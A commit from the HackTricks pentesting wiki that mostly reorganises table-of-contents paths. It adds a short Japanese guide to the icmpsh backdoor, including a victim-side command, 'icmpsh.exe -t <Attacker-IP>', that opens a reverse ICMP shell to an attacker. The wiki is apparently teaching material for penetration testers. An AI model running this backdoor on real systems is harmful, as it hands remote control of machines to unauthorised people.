GitBook: No commit message

This commit is contained in:
CPol 2024-04-06 18:36:04 +00:00 committed by gitbook-bot
parent c17b8f5500
commit f9dfc065a4
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
171 changed files with 20213 additions and 4311 deletions

View file

@ -29,35 +29,35 @@
* [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
* [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
* [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
* [Basic Forensic Methodology](forensics/basic-forensic-methodology/README.md)
* [Baseline Monitoring](forensics/basic-forensic-methodology/file-integrity-monitoring.md)
* [Anti-Forensic Techniques](forensics/basic-forensic-methodology/anti-forensic-techniques.md)
* [Docker Forensics](forensics/basic-forensic-methodology/docker-forensics.md)
* [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
* [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)
* [Anti-Forensic Techniques](generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md)
* [Docker Forensics](generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md)
* [Image Acquisition & Mount](generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
* [Linux Forensics](forensics/basic-forensic-methodology/linux-forensics.md)
* [Malware Analysis](forensics/basic-forensic-methodology/malware-analysis.md)
* [Memory dump analysis](forensics/basic-forensic-methodology/memory-dump-analysis/README.md)
* [Linux Forensics](generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md)
* [Malware Analysis](generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md)
* [Memory dump analysis](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md)
* [Volatility - CheatSheet](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
* [Partitions/File Systems/Carving](forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md)
* [File/Data Carving & Recovery Tools](forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
* [Pcap Inspection](forensics/basic-forensic-methodology/pcap-inspection/README.md)
* [DNSCat pcap analysis](forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
* [Partitions/File Systems/Carving](generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md)
* [File/Data Carving & Recovery Tools](generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
* [Pcap Inspection](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md)
* [DNSCat pcap analysis](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
* [Suricata & Iptables cheatsheet](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md)
* [USB Keystrokes](forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
* [Wifi Pcap Analysis](forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
* [Wireshark tricks](forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
* [Specific Software/File-Type Tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
* [Browser Artifacts](forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
* [Desofuscation vbs (cscript.exe)](forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
* [Local Cloud Storage](forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
* [Office file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
* [PDF File analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
* [PNG tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
* [Video and Audio file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
* [ZIPs tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
* [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md)
* [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
* [USB Keystrokes](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
* [Wifi Pcap Analysis](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
* [Wireshark tricks](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
* [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
* [PNG tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
* [Video and Audio file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
* [ZIPs tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
* [Windows Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md)
* [Interesting Windows Registry Keys](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
* [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md)
* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
@ -125,8 +125,8 @@
* [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
* [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md)
* [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md)
* [Useful Linux Commands](linux-hardening/useful-linux-commands/README.md)
* [Bypass Linux Restrictions](linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
* [Useful Linux Commands](linux-hardening/useful-linux-commands.md)
* [Bypass Linux Restrictions](linux-hardening/bypass-bash-restrictions/README.md)
* [Bypass FS protections: read-only / no-exec / Distroless](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md)
* [DDexec / EverythingExec](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md)
* [Linux Environment Variables](linux-hardening/linux-environment-variables.md)
@ -163,8 +163,8 @@
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md)
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md)
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
@ -174,7 +174,7 @@
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
* [macOS Java Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md)
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
* [macOS Perl Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md)
* [macOS Python Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md)
* [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)
@ -207,13 +207,13 @@
* [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
* [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
* [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
* [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
* [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
* [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
* [AppendData/AddSubdirectory permission over service registry](windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
* [Create MSI with WIX](windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md)
* [COM Hijacking](windows-hardening/windows-local-privilege-escalation/com-hijacking.md)
* [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
* [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md)
* [Writable Sys Path +Dll Hijacking Privesc](windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
* [DPAPI - Extracting Passwords](windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
* [From High Integrity to SYSTEM with Name Pipes](windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
@ -230,7 +230,7 @@
* [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
* [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
* [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
* [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
* [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates/README.md)
* [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
* [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
* [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
@ -266,22 +266,22 @@
* [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
* [Skeleton Key](windows-hardening/active-directory-methodology/skeleton-key.md)
* [Unconstrained Delegation](windows-hardening/active-directory-methodology/unconstrained-delegation.md)
* [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs.md)
* [UAC - User Account Control](windows-hardening/windows-security-controls/uac-user-account-control.md)
* [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs/README.md)
* [UAC - User Account Control](windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md)
* [NTLM](windows-hardening/ntlm/README.md)
* [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
* [Lateral Movement](windows-hardening/lateral-movement/README.md)
* [AtExec / SchtasksExec](windows-hardening/ntlm/atexec.md)
* [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
* [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
* [PsExec/Winexec/ScExec](windows-hardening/ntlm/psexec-and-winexec.md)
* [SmbExec/ScExec](windows-hardening/ntlm/smbexec.md)
* [WinRM](windows-hardening/ntlm/winrm.md)
* [WmicExec](windows-hardening/ntlm/wmicexec.md)
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
* [WinRM](windows-hardening/lateral-movement/winrm.md)
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md)
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
* [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
* [WTS Impersonator](windows-hardening/stealing-credentials/WTS-Impersonator.md)
* [WTS Impersonator](windows-hardening/stealing-credentials/wts-impersonator.md)
* [Basic Win CMD for Pentesters](windows-hardening/basic-cmd-for-pentesters.md)
* [Basic PowerShell for Pentesters](windows-hardening/basic-powershell-for-pentesters/README.md)
* [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
@ -418,7 +418,7 @@
* [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
* [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
* [Symfony](network-services-pentesting/pentesting-web/symphony.md)
* [Tomcat](network-services-pentesting/pentesting-web/tomcat.md)
* [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
* [Basic Tomcat Info](network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md)
* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
@ -436,7 +436,7 @@
* [123/udp - Pentesting NTP](network-services-pentesting/pentesting-ntp.md)
* [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
* [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb.md)
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
* [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
* [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
* [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
@ -463,7 +463,7 @@
* [1414 - Pentesting IBM MQ](network-services-pentesting/1414-pentesting-ibmmq.md)
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md)
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
@ -515,7 +515,7 @@
## 🕸️ Pentesting Web
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
* [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
@ -656,7 +656,7 @@
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
* [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
* [Connection Pool Examples](pentesting-web/xs-search/connection-pool-example.md)
* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
* [Cookie Bomb + Onerror XS Leak](pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md)
@ -676,23 +676,23 @@
## 😎 Hardware/Physical Access
* [Physical Attacks](physical-attacks/physical-attacks.md)
* [Escaping from KIOSKs](physical-attacks/escaping-from-gui-applications/README.md)
* [Firmware Analysis](physical-attacks/firmware-analysis/README.md)
* [Bootloader testing](physical-attacks/firmware-analysis/bootloader-testing.md)
* [Firmware Integrity](physical-attacks/firmware-analysis/firmware-integrity.md)
* [Physical Attacks](hardware-physical-access/physical-attacks.md)
* [Escaping from KIOSKs](hardware-physical-access/escaping-from-gui-applications.md)
* [Firmware Analysis](hardware-physical-access/firmware-analysis/README.md)
* [Bootloader testing](hardware-physical-access/firmware-analysis/bootloader-testing.md)
* [Firmware Integrity](hardware-physical-access/firmware-analysis/firmware-integrity.md)
## 🦅 Reversing & Exploiting
* [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
* [Angr](reversing/reversing-tools-basic-methods/angr/README.md)
* [Angr - Examples](reversing/reversing-tools-basic-methods/angr/angr-examples.md)
* [Z3 - Satisfiability Modulo Theories (SMT)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
* [Cheat Engine](reversing/reversing-tools-basic-methods/cheat-engine.md)
* [Blobrunner](reversing/reversing-tools-basic-methods/blobrunner.md)
* [Common API used in Malware](reversing/common-api-used-in-malware.md)
* [Word Macros](reversing/word-macros.md)
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
* [Reversing Tools & Basic Methods](reversing-and-exploiting/reversing-tools-basic-methods/README.md)
* [Angr](reversing-and-exploiting/reversing-tools-basic-methods/angr/README.md)
* [Angr - Examples](reversing-and-exploiting/reversing-tools-basic-methods/angr/angr-examples.md)
* [Z3 - Satisfiability Modulo Theories (SMT)](reversing-and-exploiting/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
* [Cheat Engine](reversing-and-exploiting/reversing-tools-basic-methods/cheat-engine.md)
* [Blobrunner](reversing-and-exploiting/reversing-tools-basic-methods/blobrunner.md)
* [Common API used in Malware](reversing-and-exploiting/common-api-used-in-malware.md)
* [Word Macros](reversing-and-exploiting/word-macros.md)
* [Linux Exploiting (Basic) (SPA)](reversing-and-exploiting/linux-exploiting-basic-esp/README.md)
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
@ -727,47 +727,47 @@
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
* [Exploiting Tools](exploiting/tools/README.md)
* [PwnTools](exploiting/tools/pwntools.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
* [Fusion](reversing-and-exploiting/linux-exploiting-basic-esp/fusion.md)
* [Exploiting Tools](reversing-and-exploiting/tools/README.md)
* [PwnTools](reversing-and-exploiting/tools/pwntools.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
## 🔮 Crypto & Stego
* [Cryptographic/Compression Algorithms](reversing/cryptographic-algorithms/README.md)
* [Unpacking binaries](reversing/cryptographic-algorithms/unpacking-binaries.md)
* [Certificates](cryptography/certificates.md)
* [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [Crypto CTFs Tricks](cryptography/crypto-ctfs-tricks.md)
* [Electronic Code Book (ECB)](cryptography/electronic-code-book-ecb.md)
* [Hash Length Extension Attack](cryptography/hash-length-extension-attack.md)
* [Padding Oracle](cryptography/padding-oracle-priv.md)
* [RC4 - Encrypt\&Decrypt](cryptography/rc4-encrypt-and-decrypt.md)
* [Stego Tricks](stego/stego-tricks.md)
* [Esoteric languages](stego/esoteric-languages.md)
* [Blockchain & Crypto Currencies](blockchain/blockchain-and-crypto-currencies/README.md)
* [Cryptographic/Compression Algorithms](crypto-and-stego/cryptographic-algorithms/README.md)
* [Unpacking binaries](crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md)
* [Certificates](crypto-and-stego/certificates.md)
* [Cipher Block Chaining CBC-MAC](crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [Crypto CTFs Tricks](crypto-and-stego/crypto-ctfs-tricks.md)
* [Electronic Code Book (ECB)](crypto-and-stego/electronic-code-book-ecb.md)
* [Hash Length Extension Attack](crypto-and-stego/hash-length-extension-attack.md)
* [Padding Oracle](crypto-and-stego/padding-oracle-priv.md)
* [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
* [Stego Tricks](crypto-and-stego/stego-tricks.md)
* [Esoteric languages](crypto-and-stego/esoteric-languages.md)
* [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
## 🦂 C2
* [Salseo](backdoors/salseo.md)
* [ICMPsh](backdoors/icmpsh.md)
* [Salseo](c2/salseo.md)
* [ICMPsh](c2/icmpsh.md)
* [Cobalt Strike](c2/cobalt-strike.md)
## ✍️ TODO
* [Other Big References](misc/references.md)
* [Other Big References](todo/references.md)
* [Rust Basics](todo/rust-basics.md)
* [More Tools](todo/more-tools.md)
* [MISC](todo/misc.md)
* [Pentesting DNS](pentesting-dns.md)
* [Pentesting DNS](todo/pentesting-dns.md)
* [Hardware Hacking](todo/hardware-hacking/README.md)
* [I2C](todo/hardware-hacking/i2c.md)
* [UART](todo/hardware-hacking/uart.md)
* [Radio](todo/hardware-hacking/radio.md)
* [JTAG](todo/hardware-hacking/jtag.md)
* [SPI](todo/hardware-hacking/spi.md)
* [Radio Hacking](radio-hacking/README.md)
* [Pentesting RFID](radio-hacking/pentesting-rfid.md)
* [Radio Hacking](todo/radio-hacking/README.md)
* [Pentesting RFID](todo/radio-hacking/pentesting-rfid.md)
* [Infrared](todo/radio-hacking/infrared.md)
* [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)
* [iButton](todo/radio-hacking/ibutton.md)
@ -779,16 +779,16 @@
* [FZ - 125kHz RFID](todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
* [Proxmark 3](todo/radio-hacking/proxmark-3.md)
* [FISSURE - The RF Framework](todo/radio-hacking/fissure-the-rf-framework.md)
* [Low-Power Wide Area Network](radio-hacking/low-power-wide-area-network.md)
* [Pentesting BLE - Bluetooth Low Energy](radio-hacking/pentesting-ble-bluetooth-low-energy.md)
* [Burp Suite](burp-suite.md)
* [Other Web Tricks](other-web-tricks.md)
* [Interesting HTTP](interesting-http.md)
* [Emails Vulnerabilities](emails-vulns.md)
* [Android Forensics](android-forensics.md)
* [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
* [Burp Suite](todo/burp-suite.md)
* [Other Web Tricks](todo/other-web-tricks.md)
* [Interesting HTTP](todo/interesting-http.md)
* [Emails Vulnerabilities](todo/emails-vulns.md)
* [Android Forensics](todo/android-forensics.md)
* [TR-069](todo/tr-069.md)
* [6881/udp - Pentesting BitTorrent](6881-udp-pentesting-bittorrent.md)
* [Online Platforms with API](online-platforms-with-api.md)
* [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md)
* [Post Exploitation](post-exploitation.md)
* [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
* [Online Platforms with API](todo/online-platforms-with-api.md)
* [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
* [Post Exploitation](todo/post-exploitation.md)
* [Cookies Policy](todo/cookies-policy.md)

50
c2/icmpsh.md Normal file
View file

@ -0,0 +1,50 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする。**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
[https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)からバックドアをダウンロードしてください。
# クライアント側
スクリプトを実行します:**run.sh**
**エラーが発生した場合は、次の行を変更してみてください:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**対象:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **被害者側**
被害者に**icmpsh.exe**をアップロードして実行してください:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

202
c2/salseo.md Normal file
View file

@ -0,0 +1,202 @@
# Salseo
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦でフォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
